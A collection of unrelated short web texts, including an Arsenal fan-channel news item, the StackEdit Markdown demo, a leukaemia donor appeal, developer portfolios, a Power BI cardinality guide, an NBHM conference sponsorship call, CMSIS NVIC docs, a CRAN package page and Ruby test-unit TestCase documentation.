Photo: ‘AFTV Out’ graffiti spotted on wall near Emirates as Arsenal fan channel faces backlash
by Ron CarnePopular Arsenal YouTube fan channel AFTV are seemingly facing a backlash of sort after graffiti was sprayed on a wall allegedly near the Emirates.
With over a million subscribers and a huge reach on social media channels, AFTV has been a major voice on all matters concerning the Gunners for a number of years now.
SEE MORE: Report claims touted Arsenal managerial target spotted in London amid speculation
Many have been critical in the past as they seemingly benefit from the struggles of the club as ultimately their views go up significantly when reacting to setbacks as opposed to better results.
In turn, they’ve received a backlash from other sections of supporters for the way in which they cover Arsenal, and now it seems as though it has gone a step further.
According to the Sun, the image below is taken of a wall near the Emirates in a public attack on the fan channel, although there is no certainty as of yet over who is responsible for it and whether or not they are definitely an Arsenal fan.
It’s perhaps the likely scenario, while the graffiti has sparked a mixed reaction with some fans supporting the message while others have noted that it seems slightly ridiculous to blame a fan channel for the club’s struggles on the pitch.
Time will tell if further details emerge over the graffiti, but Arsenal’s focus will be on West Ham on Monday night as they look to bounce back from their loss to Brighton last week.
As for AFTV, they’re simply just a group of fans airing their opinions on a public platform and so it’s difficult to be too critical of them regardless of question marks perhaps being raised over the way in which they get those points across.


protons founded by IEEE Alexandria Student Branch to help preparatory and senior students develop there engineering skills.
We started our first episode of protons.
We decided to continue the journey and enlarge the number of protons.
The ex-protons became mentors for the new protons.
The project managers were a team of ex-protons and it was awesome to see the protons as IEEE AlexSB volunteers.


Markdown Demo
Welcome to StackEdit!
Hey! I'm your first Markdown document in StackEdit2. Don't delete me, I'm very helpful! I can be recovered anyway in the Utils tab of the Settings dialog.
Documents
StackEdit stores your documents in your browser, which means all your documents are automatically saved locally and are accessible offline!
Note:
- StackEdit is accessible offline after the application has been loaded for the first time.
- Your local documents are not shared between different browsers or computers.
- Clearing your browser's data may delete all your local documents! Make sure your documents are synchronized with Google Drive or Dropbox (check out the Synchronization section).
Create a document
The document panel is accessible using the button in the navigation bar. You can create a new document by clicking New document in the document panel.
Switch to another document
All your local documents are listed in the document panel. You can switch from one to another by clicking a document in the list or you can toggle documents using Ctrl+[ and Ctrl+].
Rename a document
You can rename the current document by clicking the document title in the navigation bar.
Delete a document
You can delete the current document by clicking Delete document in the document panel.
Export a document
You can save the current document to a file by clicking Export to disk from the menu panel.
Tip: Check out the Publish a document section for a description of the different output formats.
Synchronization
StackEdit can be combined with Google Drive and Dropbox to have your documents saved in the Cloud. The synchronization mechanism takes care of uploading your modifications or downloading the latest version of your documents.
Note:
- Full access to Google Drive or Dropbox is required to be able to import any document in StackEdit. Permission restrictions can be configured in the settings.
- Imported documents are downloaded in your browser and are not transmitted to a server.
- If you experience problems saving your documents on Google Drive, check and optionally disable browser extensions, such as Disconnect.
Open a document
You can open a document from Google Drive or the Dropbox by opening the Synchronize sub-menu and by clicking Open from.... Once opened, any modification in your document will be automatically synchronized with the file in your Google Drive / Dropbox account.
Save a document
You can save any document by opening the Synchronize sub-menu and by clicking Save on.... Even if your document is already synchronized with Google Drive or Dropbox, you can export it to a another location. StackEdit can synchronize one document with multiple locations and accounts.
Synchronize a document
Once your document is linked to a Google Drive or a Dropbox file, StackEdit will periodically (every 3 minutes) synchronize it by downloading/uploading any modification. A merge will be performed if necessary and conflicts will be detected.
If you just have modified your document and you want to force the synchronization, click the button in the navigation bar.
Note: The button is disabled when you have no document to synchronize.
Manage document synchronization
Since one document can be synchronized with multiple locations, you can list and manage synchronized locations by clicking Manage synchronization in the Synchronize sub-menu. This will let you remove synchronization locations that are associated to your document.
Note: If you delete the file from Google Drive or from Dropbox, the document will no longer be synchronized with that location.
Publication
Once you are happy with your document, you can publish it on different websites directly from StackEdit. As for now, StackEdit can publish on Blogger, Dropbox, Gist, GitHub, Google Drive, Tumblr, WordPress and on any SSH server.
Publish a document
You can publish your document by opening the Publish sub-menu and by choosing a website. In the dialog box, you can choose the publication format:
- Markdown, to publish the Markdown text on a website that can interpret it (GitHub for instance),
- HTML, to publish the document converted into HTML (on a blog for example),
- Template, to have a full control of the output.
Note: The default template is a simple webpage wrapping your document in HTML format. You can customize it in the Advanced tab of the Settings dialog.
Update a publication
After publishing, StackEdit will keep your document linked to that publication which makes it easy for you to update it. Once you have modified your document and you want to update your publication, click on the button in the navigation bar.
Note: The button is disabled when your document has not been published yet.
Manage document publication
Since one document can be published on multiple locations, you can list and manage publish locations by clicking Manage publication in the menu panel. This will let you remove publication locations that are associated to your document.
Note: If the file has been removed from the website or the blog, the document will no longer be published on that location.
Markdown Extra
StackEdit supports Markdown Extra, which extends Markdown syntax with some nice features.
Tip: You can disable any Markdown Extra feature in the Extensions tab of the Settings dialog.
Note: You can find more information about Markdown syntax here and Markdown Extra extension here.
Tables
Markdown Extra has a special syntax for tables:
| Item | Value |
|---|---|
| Computer | $1600 |
| Phone | $12 |
| Pipe | $1 |
You can specify column alignment with one or two colons:
| Item | Value | Qty |
|---|---|---|
| Computer | $1600 | 5 |
| Phone | $12 | 12 |
| Pipe | $1 | 234 |
Definition Lists
Markdown Extra has a special syntax for definition lists too:
- Term 1
- Term 2
- Definition A
- Definition B
- Term 3
-
Definition C
-
Definition D
part of definition D
Fenced code blocks
GitHub's fenced code blocks are also supported with Highlight.js syntax highlighting:
// Foo
var bar = 0;
Tip: To use Prettify instead of Highlight.js, just configure the Markdown Extra extension in the Settings dialog.
Note: You can find more information:
Footnotes
You can create footnotes like this1.
SmartyPants
SmartyPants converts ASCII punctuation characters into "smart" typographic punctuation HTML entities. For example:
| ASCII | HTML | |
|---|---|---|
| Single backticks | 'Isn't this fun?' |
'Isn't this fun?' |
| Quotes | "Isn't this fun?" |
"Isn't this fun?" |
| Dashes | -- is en-dash, --- is em-dash |
-- is en-dash, --- is em-dash |
Table of contents
You can insert a table of contents using the marker [TOC]
:
MathJax
You can render LaTeX mathematical expressions using MathJax, as on math.stackexchange.com:
The Gamma function satisfying \(\Gamma(n) = (n-1)!\quad\forall n\in\mathbb N\) is via the Euler integral
Tip: To make sure mathematical expressions are rendered properly on your website, include MathJax into your template:
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS_HTML"></script>
Note: You can find more information about LaTeX mathematical expressions here.
UML diagrams
You can also render sequence diagrams like this:
Alice->Bob: Hello Bob, how are you?
Note right of Bob: Bob thinks
Bob-->Alice: I am good thanks!
And flow charts like this:
st=>start: Start
e=>end
op=>operation: My Operation
cond=>condition: Yes or No?
st->op->cond
cond(yes)->e
cond(no)->op
Note: You can find more information:


Al Murray’s young nephew in urgent need of stem cell transplant
Finley was diagnosed with juvenile myelomonocytic leukaemia (JMML), a rare type of blood disorder that occurs in young children.
Comedian Al Murray is urging people to sign the blood stem cell register after his nephew was struck by leukaemia.
Six-year-old Finley Relf has a rare and aggressive form of the disease and his only hope of a cure is a bone marrow transplant.
Finley’s parents Ben and Nicky Relf sought medical help after noticing that their son was losing weight.
He was diagnosed with juvenile myelomonocytic leukaemia (JMML), a rare type of blood disorder that occurs in young children.
The youngster, from Haywards Heath, West Sussex, is having chemotherapy at London’s Great Ormond Street Hospital.
Murray’s partner Eleanor Relf is Ben Relf’s sister.
He's critically ill, there is a 50/50 chance of him surviving this basically, and without the transplant, there is no cure for JMML.Al Murray
Murray told the BBC’s Victoria Derbyshire programme: “Finley is undergoing chemotherapy but his best chance of fighting the disease is a bone marrow transplant.
“He has JMML, a super-rare leukaemia and 12 kids a year get it probably, and he needs a blood stem cell transplant.”
Murray said Finley was undergoing “gruelling” treatment but was a “chirpy six-year-old who wants to run around and go swimming”.
“He’s critically ill, there is a 50/50 chance of him surviving this basically, and without the transplant, there is no cure for JMML.”
Murray said Finley needs a transplant “before Christmas, this has got to happen right away”.
Jonathan Pearce, chief executive of the blood stem cell charity DKMS, which is looking for a donor for Finley, said: “Even though we are working with Al Murray in very sad and serious circumstances, he is doing fantastic work with us to highlight that only 2% of the UK population are on the blood stem registry.
“We desperately need more people to come forward as donors if we’re to find a match for every person with blood cancer.
“Blood cancer is the third most common cause of cancer death in the UK, and at any one time there are around 2,000 people in the UK in need of a blood stem cell transplant.
“I would urge anyone between 17 and 55 and in general good health to request a swab kit from dkms.org.uk so we can help find a match for Al’s nephew Finley and all the other people that need one.”


Current Email
Current Name
Current Password
DELETE ACCOUNT


My name is Virginia Ndungu.
I am a Full Stack Developer, with a
customer-focused approach to work
and strong drive to continually
increase and improve my technical skills.
I am fascinated by technology innovations,
product development and creating solutions
for communities and organizations.
“The more i learn, the more i realise
how much i don't know...”


Analysis of:
Use the knowledge for:
amino acid: 氨基酸
data type：
| primary data | sequence | –> | primary database |
|---|---|---|---|
| AATGCGTAAGTC | DNA | ||
| DMPVERILEALAVE | amino acid |
| secondary data | secondary protein structure | –> | secondary db |
|---|---|---|---|
| “motif” | e.g. | ||
| regular expressions | e.g. | ||
| block | e.g. | ||
| profiles | e.g. | ||
| fingerprints | e.g. |
| teriary data | teriary protein structure | –> | teriary db |
|---|---|---|---|
| atomic co-ordinates | domains, folding units |
databases:
tritiary db
DDBJ [DNA data bank of Janpan]
sequence alignment
| 1 | 2 | 3 | 4 | 5 | 6 |
|---|---|---|---|---|---|
| A | T | C | G | -> | Sequence one |
| T | C | A | -> | Sequcece two | |
| GAP | MATCH | MATCH | MISMATCH |
we wanna use that way to get maximum match
| 1 | 2 | 3 | 4 | 5 | 6 |
|---|---|---|---|---|---|
| A | T | C | G | -> | Sequence one |
| T | C | A | -> | Sequcece two | |
| MISMATCH | MISMATCH | MISMATCH | GAP |
Score for sequcen alignment
Align sequence must be more than one sequence
Align sequence is basic of the bioinformatics


The use_namespace
name TCL command searches for all TCL
commands of the form name.x, and creates a new TCL command
x that calls name.x. This allows a simple ``dump''
of Eco Lab model methods and instance variables into TCL's current
namespace. The term ``namespace'' in use_namespace
is unrelated
to TCL's namespace concept.
Note that use_namespace
does not override an any existing
commands in the current namespace. Imagine what havoc an instance
variable called ``proc'' would make! Thus it may be necessary to refer
to an instance variable or method by its fully qualified name fro TCL
scripts to get the desired behaviour.


ａｅｓｔｈｅｔｉｃｓ
Brands:
Yohji Yamamoto
Common Projects
COS
Comme de Garçons
Supreme
Places:
Hong Kong, Hong Kong
Berlin, Germany
Sapporo, Japan
Helsingborg, Sweden
Amsterdam, Netherlands
Schedule:
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Python Shit
Work
Work
Work
Work
Work
Drive Tracy to work
Work out w/ Chris
Work out w/ David
Work out w/ Chris
Work out w/ David
Work out w/ Chris
Work out w/ David


We are globally recognized IT company, specified in web development. We prepare high quality, inter-active web-development tutorials for those who are determined to become a developer.
We prepare various tutorials and courses for those who are keen to learn web development. Our tutorials include: CSS, HTML, JavaScript, Phyton and many more courses that will prepare you for a well-paid developing career in globally recognized companies. We proudly declare that 95% of our graduates found a job within 5 months following the graduation. You may find one of our tutorials in the video below.
Enter your email address to have more information


Cardinality is a term that is used to describe the uniqueness of the values in a column. Cardinality is also used in the context of the relationships between two tables, where it describes the direction of the relationship.
Previously, when you used Power Query Editor to analyze the metadata, the Column distribution option on the View tab displayed statistics on how many distinct and unique items were in each column in the data.
Distinct values count - The total number of different values found in a given column.
Unique values count - The total number of values that only appear once in a given column.
A column that has a lot of repeated values in its range (distinct count is low) will have a low level of cardinality. Conversely, a column that has a lot of unique values in its range (unique count is high) will have a high level of cardinality.
Lower cardinality leads to more optimized performance, so you might need to reduce the number of high cardinally columns in your dataset.
When you import multiple tables, it is possible that you'll do some analysis by using data from all those tables. Relationships between those tables are necessary to accurately calculate results and display the correct information in your reports. Power BI Desktop helps make creating those relationships easier. In fact, in most cases, you won't have to do anything, the autodetect feature does it for you. However, you might occasionally have to create relationships or need to make changes to a relationship. Regardless, it's important to understand relationships in Power BI Desktop and how to create and edit them.
When you create or edit a relationship, you can configure additional options. By default, Power BI Desktop automatically configures additional options based on its best guess, which can be different for each relationship based on the data in the columns.
The relationships can have different cardinality. Cardinality is the direction of the relationship, and each model relationship must be defined with a cardinality type. The cardinality options in Power BI are:
Many-to-one (*:1) - This relationship is the most common, default type. It means that the column in one table can have more than one instance of a value, and the other related table, often known as the lookup table, has only one instance of a value.
One-to-one (1:1) - In this relationship type, the column in one table has only one instance of a particular value, and the other related table has only one instance of a particular value.
One-to-many (1:*) - In this relationship type, the column in one table has only one instance of a particular value, and the other related table can have more than one instance of a value.
Many-to-many (:) - With composite models, you can establish a many-to-many relationship between tables, which removes requirements for unique values in tables. It also removes previous workarounds, such as introducing new tables only to establish relationships.
During development, you will be creating and editing relationships in your model, so when you are building new relationships in your model, regardless of what cardinality you have chosen, always ensure that both of the columns that you are using to participate in a relationship are sharing the same data type. Your model will never work if you try to build a relationship between two columns, where one column has a text data type and another column has an integer data type.
In the following example, the ProductID field has the data type Whole number in the Product and Sales tables. The columns with data type Integer perform better than columns with data type Text.
Power BI Desktop offers different techniques that you can use to help reduce the data that is loaded into data models, such as summarization. Reducing the data that is loaded into your model will improve the relationship cardinality of the report. For this reason, it is important that you strive to minimize the data that will be loaded into your models. This case is especially true for large models, or models that you anticipate will grow to become large over time.
Perhaps the most effective technique to reduce a model size is to use a summary table from the data source. Where a detail table might contain every transaction, a summary table would contain one record per day, per week, or per month. It might be an average of all of the transactions per day, for instance.
For example, a source sales fact table stores one row for each order line. Significant data reduction could be achieved by summarizing all sales metrics if you group by date, customer, and product, and individual transaction detail is not needed.
Consider, then, that an even more significant data reduction could be achieved by grouping by date at month level. It could achieve a possible 99 percent reduction in model size; but, reporting at day level or an individual order level is no longer possible. Deciding to summarize fact-type data will always involve a tradeoff with the detail of your data. A disadvantage is that you may lose the ability to drill into data because the detail no longer exists. This tradeoff could be mitigated by using a mixed model design.
In Power BI Desktop, a Mixed mode design produces a composite model. Essentially, it allows you to determine a storage mode for each table. Therefore, each table can have its Storage Mode property set as Import or DirectQuery.
An effective technique to reduce the model size is to set the Storage Mode property for larger fact-type tables to DirectQuery. This design approach can work well in conjunction with techniques that are used to summarize your data. For example, the summarized sales data could be used to achieve high performance "summary" reporting. A drill-through page could be created to display granular sales for specific (and narrow) filter context, displaying all in-context sales orders. The drill-through page would include visuals based on a DirectQuery table to retrieve the sales order data (sales order details).
For more information, see Data reduction techniques for Import modeling.


I have done several projects some individualy and others with my team-mates in Moringa School.
This is the begining of my coding journey in Moringa School.
I am still working on some of my big projects that are soon to come through.


Welcome to CodersBay
"Where bidders win big."
Today's Sale
: Pure Vegetarian-Based Coding Knowledge (Chewable)
Highest Bidder:
Current Price:
Hurry!
people have their eyes on the prize.


The 2023 edition of the 10th International Congress on Industrial and Applied Mathematics (ICIAM 2023) is scheduled to be held in Tokyo, Japan, during 20-25 August 2023. NBHM has for two decades now sponsored a contingent of Indian mathematicians to attend International Congresses. Continuing this tradition, NBHM hereby invites applications for selection to its contingent for ICIAM 2023. The selection will be based on merit with due regard paid to balance (of various kinds).
Flier: We solicit your help in spreading the word of this initiative of NBHM. Please have copies of this flier (pdf file of announcement) posted on notice boards; share it by email with your contacts who might be interested; and, more generally, give it wide publicity by all means.
The NBHM contingent
shall:
Conditions:
The sponsorship is open only to regular full-time members of bonafide research institutions,
universities, and colleges in India.
It will be routed
through the institution of the selected member.
For those with grants from other sources (e.g. Financial support from ICIAM ), it will be reduced by the sum total of the other grant(s).
Applicants must undertake to attend all days of the conference.
Note:
Doctoral students, post doctoral fellows, and faculty on contract are considered "regular" members for the purposes of this sponsorship, in addition of course to regular faculty members.
Sponsorship benefits: The sponsorship shall pay for travel, accommodation, living expenses (all at rates in line with norms of the Government of India), and (advance) registration fee.
Application: In order to apply, you need to have a google account. Please follow this link: Application Form. The deadline to submit the form is Friday 31st March 2023.
What all do I need to complete my application?
Note: Upload (a pdf file of) your CV to some web page or drive, ensure that anybody with the link to it has permission to read it, and be ready with the the URL (a shortened version is preferred) to include in the application form.
Queries: These may be addressed to<EMAIL_ADDRESS>We have endeavoured to make the application process as simple and painless as possible. Genuine feedback about points that might have been overlooked would be appreciated. The FAQ (which is continuously updated as queries are raised and answered) might help clarify matters.


Objectives
I'm currently seeking a Python engineering role
in open source tooling and/or earth science analytics.
As an extrovert who also thrives on deep technical immersion,
I'm looking to contribute my skills to challenging and impactful
engineering problems while also serving in a community outreach and/or
teaching capacity.
Workplaces which value professional development and wellbeing are of the
greatest interest to me. Lifelong learning is one of my greatest passions.
In this phase of my career, I look forward to dramatically expanding my
software engineering expertise as well as my knowledge of adjacent disciplies
such as applied math.
While the earth sciences have historically been inexorably linked with
extractive industry, I seek to devote my work in this arena to scientific applications
which facilitate climate change adaptation & mitigation, renewable energy
and resource development, and which spark curiosity, enthusiasm, and
stewardship of the natural world.
I will update this page as time goes along, and welcome follow-up conversations
on these or related subjects.
Commitments
In his 1962 A Letter to My Nephew, James Baldwin writes:
"To act is to be committed and to be committed is to be in danger."
More recently, Merrick Garland
spoke of his indebtedness to the United States of America for sheltering
his family from anti-Semitic persecution, and his desire work alongside BIPOC
communities to realize equal opportunity for safety, justice, and personal advancement.
As a Jewish American whose own ancestors also found safe haven in the US,
Garland's sentiments resonate deeply. Though my position may not be
as exalted as his, the priviledge and opportunity I am afforded
nonetheless carries with it great responsibility. My participation
in
Unlearning Racism in Geoscience (URGE) is directed towards crafting
a set of commitments with which to hold myself accountable to this work.
Taking an international view, I commit to understanding how my work as a
technologist can be of greatest benefit to users in the Global South.
This includes understanding accessibility issues such as interface and
documentation languages, platforms (desktop vs. mobile), and broadband availability.
Of all the dangers suggested by Baldwin's prescient Letter, the dual risks of
inaction and performative "clicktivism" are themselves even more dangerous, both
morally and practically. I hope that my future colleagues will hold me
accountable to the fact that "inclusivity is an action," should I ever fail
to do so myself.
My experience of the software engineering and earth science communities has been
entirely positive. I have felt welcomed and supported at every turn. Listening to
my non-male-gendered, LGBTQ+, and BIPOC peers teaches me that this experience is by
no means universal. Quite to the contrary, many are actively harassed and excluded on
the basis of their gender, sexuality, race, or other intersectional identity. This
discrimination is a highest order concern for me and I commit to sharing a set of
actionable D.E.I. commitments at the conclusion of the URGE curriculum this spring.


|
ADC-Bluetooth
2.0
Nico Lingg
|
Structure type to access the Nested Vectored Interrupt Controller (NVIC). Mehr ...
#include <core_cm3.h>
Datenfelder | |
| __IO uint32_t | ISER [8] |
| uint32_t | RESERVED0 [24] |
| __IO uint32_t | ICER [8] |
| uint32_t | RSERVED1 [24] |
| __IO uint32_t | ISPR [8] |
| uint32_t | RESERVED2 [24] |
| __IO uint32_t | ICPR [8] |
| uint32_t | RESERVED3 [24] |
| __IO uint32_t | IABR [8] |
| uint32_t | RESERVED4 [56] |
| __IO uint8_t | IP [240] |
| uint32_t | RESERVED5 [644] |
| __O uint32_t | STIR |
Structure type to access the Nested Vectored Interrupt Controller (NVIC).
| __IO uint32_t IABR[8] |
Offset: 0x200 (R/W) Interrupt Active bit Register
| __IO uint32_t ICER[8] |
Offset: 0x080 (R/W) Interrupt Clear Enable Register
| __IO uint32_t ICPR[8] |
Offset: 0x180 (R/W) Interrupt Clear Pending Register
| __IO uint8_t IP[240] |
Offset: 0x300 (R/W) Interrupt Priority Register (8Bit wide)
| __IO uint32_t ISER[8] |
Offset: 0x000 (R/W) Interrupt Set Enable Register
| __IO uint32_t ISPR[8] |
Offset: 0x100 (R/W) Interrupt Set Pending Register
| uint32_t RESERVED0[24] |
| uint32_t RESERVED2[24] |
| uint32_t RESERVED3[24] |
| uint32_t RESERVED4[56] |
| uint32_t RESERVED5[644] |
| uint32_t RSERVED1[24] |
| __O uint32_t STIR |
Offset: 0xE00 ( /W) Software Trigger Interrupt Register


Hello! My name is Oluwatoyin Oshinkoya. I am a freelance full stack web designer and web developer based in Houston, Texas. I am currently enrolled at The University of Texas at Austin, Houston Coding BootCamp.
I have a diverse set of skills that ranges from design, to HTML, CSS, JavaScript, and PHP.
Front end web development!
Back end web development.
Me the Server!
Version control system


The true random number service provided by the RANDOM.ORG website created by Mads Haahr samples atmospheric noise via radio tuned to an unused broadcasting frequency together with a skew correction algorithm due to John von Neumann. More background is available in the included vignette based on an essay by Mads Haahr. In its current form, the package offers functions to retrieve random integers, randomized sequences and random strings.
| Version: | 0.2.6 |
| Depends: | R (≥ 2.8.0) |
| Imports: | curl, utils |
| Published: | 2017-02-05 |
| Author: | Dirk Eddelbuettel |
| Maintainer: | Dirk Eddelbuettel <edd at debian.org> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| URL: | https://www.random.org |
| NeedsCompilation: | no |
| Materials: | README ChangeLog |
| In views: | Distributions |
| CRAN checks: | random results |
| Reference manual: | random.pdf |
| Vignettes: |
random.org: Introduction to Randomness and Random Numbers random: An R package for true random numbers |
| Package source: | random_0.2.6.tar.gz |
| Windows binaries: | r-devel: random_0.2.6.zip, r-release: random_0.2.6.zip, r-oldrel: random_0.2.6.zip |
| OS X binaries: | r-release: random_0.2.6.tgz, r-oldrel: random_0.2.6.tgz |
| Old sources: | random archive |
| Reverse imports: | EasyMARK, qsub, randstr, riceware |
Please use the canonical form https://CRAN.R-project.org/package=random to link to this page.


class Test::Unit::TestCase
Ties everything together. If you subclass and add your own test methods, it takes care of making them into tests and wrapping those tests into a suite. It also does the nitty-gritty of actually running an individual test and collecting its results into a Test::Unit::TestResult
object.
You can run two hooks before/after a TestCase
run.
Example:
class TestMyClass < Test::Unit::TestCase class << self def startup ... end def shutdown ... end end def setup ... end def cleanup ... end def teardown ... end def test_my_method1 ... end def test_my_method2 ... end end
Here is a call order:
-
startup
-
setup
-
test_my_method1
-
cleanup
-
teardown
-
setup
-
test_my_method2
-
cleanup
-
teardown
-
shutdown
You can set an attribute to each test.
Example:
class TestMyClass < Test::Unit::TestCase attribute :speed, :fast def test_my_fast_method # You can get the attribute via `self[]` self[:speed] # => :fast ... end attribute :speed, :slow def test_my_slow_method self[:speed] # => :slow ... end end
Attributes
Public Class Methods
Describes a test.
The following example associates “register a normal user” description with “test_register” test.
description "register a normal user" def test_register ... end
# File lib/test/unit/testcase.rb, line 348 def description(value, target=nil) targets = [target].compact attribute(:description, value, {}, *targets) end
# File lib/test/unit/testcase.rb, line 416 def find_locations(query) query_path = query[:path] query_line = query[:line] query_method_name = query[:method_name] available_locations = target_method_locations(query_path) if query_line available_locations = available_locations.sort_by do |location| -location[:line] end available_location = available_locations.find do |location| query_line >= location[:line] end return [] if available_location.nil? return [] if available_location[:test_case] != self available_locations = [available_location] end if query_method_name available_location = available_locations.find do |location| location[:test_case] == self and query_method_name == location[:method_name] end return [] if available_location.nil? available_locations = [available_location] end available_locations end
Creates a new instance of the fixture for running the test represented by test_method_name.
# File lib/test/unit/testcase.rb, line 492 def initialize(test_method_name) @method_name = test_method_name @internal_data = InternalData.new end
Called after every test case runs. Can be used to tear down fixture information used in test case scope.
Here is an example test case:
class TestMyClass < Test::Unit::TestCase class << self def shutdown ... end end def teardown ... end def test_my_class1 ... end def test_my_class2 ... end end
Here is a call order:
-
test_my_class1 (or test_my_class2)
-
teardown
-
test_my_class2 (or test_my_class1)
-
teardown
-
shutdown
Note that you should not assume test order. Tests should be worked in any order.
# File lib/test/unit/testcase.rb, line 258 def shutdown end
Called before every test case runs. Can be used to set up fixture information used in test case scope.
Here is an example test case:
class TestMyClass < Test::Unit::TestCase class << self def startup ... end end def setup ... end def test_my_class1 ... end def test_my_class2 ... end end
Here is a call order:
-
startup
-
setup
-
test_my_class1 (or test_my_class2)
-
setup
-
test_my_class2 (or test_my_class1)
Note that you should not assume test order. Tests should be worked in any order.
# File lib/test/unit/testcase.rb, line 220 def startup end
Defines a sub test case.
This is a syntax sugar. The both of the following codes are the same in meaning:
Standard:
class TestParent < Test::Unit::TestCase class TestChild < self def test_in_child end end end
Syntax sugar:
class TestParent < Test::Unit::TestCase sub_test_case("TestChild") do def test_in_child end end end
The difference of them are the following:
-
Test
case created by {sub_test_case} is an anonymous class. So you can't refer the test case by name. -
The class name of class style must follow constant naming rule in Ruby. But the name of test case created by {sub_test_case} doesn't need to follow the rule. For example, you can use a space in name such as “child test”.
@param name [String] The name of newly created sub test case. @yield
The block is evaluated under the newly created sub test case class context.
@return [Test::Unit::TestCase] Created sub test case class.
# File lib/test/unit/testcase.rb, line 390 def sub_test_case(name, &block) parent_test_case = self sub_test_case = Class.new(self) do singleton_class = class << self; self; end singleton_class.__send__(:define_method, :name) do [parent_test_case.name, name].compact.join("::") end end sub_test_case.class_eval(&block) sub_test_case end
Rolls up all of the test* methods in the fixture into one suite, creating a new instance of the fixture for each method.
# File lib/test/unit/testcase.rb, line 179 def suite suite_creator = TestSuiteCreator.new(self) suite_creator.create end
Defines a test in declarative syntax or marks following method as a test method.
In declarative syntax usage, the following two test definitions are the almost same:
description "register user" def test_register_user ... end test "register user" do ... end
In test method mark usage, the “my_test_method” is treated as a test method:
test def my_test_method assert_equal("call me", ...) end
# File lib/test/unit/testcase.rb, line 311 def test(*test_description_or_targets, &block) if block_given? test_description = test_description_or_targets.first if test_description.nil? raise ArgumentError, "test description is missing" end n_arguments = test_description_or_targets.size if n_arguments > 1 message = "wrong number of arguments (#{n_arguments} for 1)" raise ArgumentError, message end method_name = "test: #{test_description}" description(test_description, method_name) attribute(:test, true, {}, method_name) if block.respond_to?(:source_location) attribute(:source_location, block.source_location, {}, method_name) end define_method(method_name, &block) else targets = test_description_or_targets attribute(:test, true, {}, *targets) targets.each do |target| AutoRunnerLoader.check(self, target) end end end
Checks whether a test that is matched the query is defined.
@option query [String] :path (nil)
the path where a test is defined in.
@option query [Numeric] :line (nil)
the line number where a test is defined at.
@option query [String] :method_name (nil)
the method name for a test.
# File lib/test/unit/testcase.rb, line 411 def test_defined?(query) locations = find_locations(query) not locations.empty? end
Returns the current test order. This returns `:alphabetic` by default.
# File lib/test/unit/testcase.rb, line 265 def test_order ancestors.each do |ancestor| order = @@test_orders[ancestor] return order if order end AVAILABLE_ORDERS.first end
Sets the current test order.
Here are the available order:
:alphabetic : Default. Tests are sorted in alphabetic order.
:random : Tests are sorted in random order.
:defined : Tests are sorted in defined order.
# File lib/test/unit/testcase.rb, line 285 def test_order=(order) @@test_orders[self] = order end
Private Class Methods
@private
# File lib/test/unit/testcase.rb, line 457 def add_method_location(location) @@method_location_mutex.synchronize do method_locations << location end end
@private
# File lib/test/unit/testcase.rb, line 452 def method_locations @@method_locations[self] ||= [] end
@private
# File lib/test/unit/testcase.rb, line 464 def target_method_locations(path) @@method_location_mutex.synchronize do if path.nil? self_location = method_locations.first path = self_location[:path] if self_location end return [] if path.nil? target_locations = [] @@method_locations.each do |test_case, locations| locations.each do |location| absolete_path = File.expand_path(path) location_path = location[:path] location_basename = File.basename(location_path) if location_path == absolete_path or location_basename == path target_locations << location.merge(:test_case => test_case) end end end target_locations end end
Public Instance Methods
It's handy to be able to compare TestCase
instances.
# File lib/test/unit/testcase.rb, line 758 def ==(other) return false unless other.kind_of?(self.class) return false unless @method_name == other.method_name return false unless data_label == other.data_label self.class == other.class end
Notify that the test is passed. Normally, it is not needed because run
calls it automatically. If you want to override run
, it is not a good idea. Please contact test-unit developers. We will help you without your custom run
. For example, we may add a new hook in run
.
This is a public API for developers who extend test-unit.
@return [void]
# File lib/test/unit/testcase.rb, line 807 def add_pass current_result.add_pass end
Called after every test method runs but the test method isn't marked as 'passed'. Can be used to clean up and/or verify tested condition. e.g. Can be used to verify mock.
You can add additional cleanup tasks by the following code:
class TestMyClass < Test::Unit::TestCase def cleanup ... end cleanup def my_cleanup1 ... end cleanup do ... # cleanup callback1 end cleanup def my_cleanup2 ... end cleanup do ... # cleanup callback2 end def test_my_class ... end end
Here is a call order:
-
test_my_class
-
cleanup callback2
-
my_cleanup2
-
cleanup callback1
-
my_cleanup1
-
cleanup
# File lib/test/unit/testcase.rb, line 655 def cleanup end
Returns test data for the test. If the test isn't associated with any test data, it returns `nil`.
# File lib/test/unit/testcase.rb, line 720 def data @internal_data.test_data end
Returns a label of test data for the test. If the test isn't associated with any test data, it returns `nil`.
# File lib/test/unit/testcase.rb, line 714 def data_label @internal_data.test_data_label end
# File lib/test/unit/testcase.rb, line 703 def default_test flunk("No tests were specified") end
Returns a description for the test. A description will be associated by Test::Unit::TestCase.test
or Test::Unit::TestCase.description
.
Returns a name for the test for no description test.
# File lib/test/unit/testcase.rb, line 748 def description self[:description] || name end
Returns elapsed time for the test was ran.
# File lib/test/unit/testcase.rb, line 771 def elapsed_time @internal_data.elapsed_time end
Returns whether the test is interrupted.
# File lib/test/unit/testcase.rb, line 776 def interrupted? @internal_data.interrupted? end
Returns a human-readable name for the specific test that this instance of TestCase
represents.
`#local_name` doesn't include class name. `#name` includes class name.
# File lib/test/unit/testcase.rb, line 735 def local_name if @internal_data.have_test_data? "#{@method_name}[#{data_label}]" else @method_name.to_s end end
Returns a human-readable name for the specific test that this instance of TestCase
represents.
# File lib/test/unit/testcase.rb, line 726 def name "#{local_name}(#{self.class.name})" end
Returns whether this individual test passed or not. Primarily for use in teardown so that artifacts can be left behind if the test fails.
# File lib/test/unit/testcase.rb, line 783 def passed? @internal_data.passed? end
Notify that a problem is occurred in the test. It means that the test is a failed test. If any failed tests exist in test suites, the test process exits with failure exit status.
This is a public API for developers who extend test-unit.
@return [void]
# File lib/test/unit/testcase.rb, line 794 def problem_occurred @internal_data.problem_occurred end
Runs the individual test method represented by this instance of the fixture, collecting statistics, failures and errors in result.
